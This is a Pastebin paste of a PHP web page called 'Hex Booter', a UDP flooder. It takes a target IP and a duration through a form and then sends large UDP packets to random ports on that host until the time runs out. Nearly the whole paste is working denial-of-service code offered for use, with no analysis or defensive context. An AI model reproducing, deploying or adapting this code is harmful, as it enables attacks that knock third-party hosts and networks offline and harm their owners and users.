Advertisement
Guest User

UDP FLOODER

a guest
Jul 6th, 2012
4,288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1. <html>
  2. <head>
  3. Hex Booter
  4. <?php
  5. $ip = $_SERVER['REMOTE_ADDR'];
  6. ?>
  7. </head>
  8. <body>
  9. <center>
  10. <font color="blue">
  11. <pre>
  12. _______(_ | o ,' `.
  13. |:::::::::\ | : `--. \
  14. |::::::::::| | (-) \ :
  15. |::::::::::| | / @: |
  16. |::::::::::| | `: : :
  17. |::::::::::| | \- ;/
  18. |::::::::::| | "---'=\
  19. |::::::::::| | ___ / `.\
  20. '-------,--'--.-' ____,:__/`-.:_,-* :'
  21. -------'-------`---`-----' `-. _, |
  22. --------------------------' `---" |
  23. <center><b>Your IP:</b> <font color="blue"><?php echo $ip; ?></font> Don't Dos yourself<br><br></center>
  24. </pre>
  25. <STYLE>
  26. input{
  27. background-color: blue; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #666666;
  28. }
  29. button{
  30. background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
  31. }
  32. body {
  33. background-color: #000000;
  34. }
  35. </style>
  36. <?php
  37. //UDP
  38. if(isset($_GET['host'])&&isset($_GET['time'])){
  39. $packets = 0;
  40. ignore_user_abort(TRUE);
  41. set_time_limit(0);
  42.  
  43. $exec_time = $_GET['time'];
  44.  
  45. $time = time();
  46. //print "Started: ".time('d-m-y h:i:s')."<br>";
  47. $max_time = $time+$exec_time;
  48.  
  49. $host = $_GET['host'];
  50.  
  51. for($i=0;$i<65000;$i++){
  52. $out .= 'X';
  53. }
  54. while(1){
  55. $packets++;
  56. if(time() > $max_time){
  57. break;
  58. }
  59. $rand = rand(1,65000);
  60. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  61. if($fp){
  62. fwrite($fp, $out);
  63. fclose($fp);
  64. }
  65. }
  66. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  67. echo '<br><br>
  68. <form action="'.$surl.'" method=GET>
  69. <input type="hidden" name="act" value="phptools">
  70. IP: <br><input type=text name=host><br>
  71. Length (seconds): <br><input type=text name=time><br>
  72. <input type=submit value=Go></form>';
  73. }else{ echo '<br><b>UDP Flood</b><br>
  74. <form action=? method=GET>
  75. <input type="hidden" name="act" value="phptools">
  76. IP: <br><input type=text name=host value=><br>
  77. Length (seconds): <br><input type=text name=time value=><br><br>
  78. <input type=submit value=Go></form>';
  79. }
  80. ?>
  81. </center>
  82. </body>
  83. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement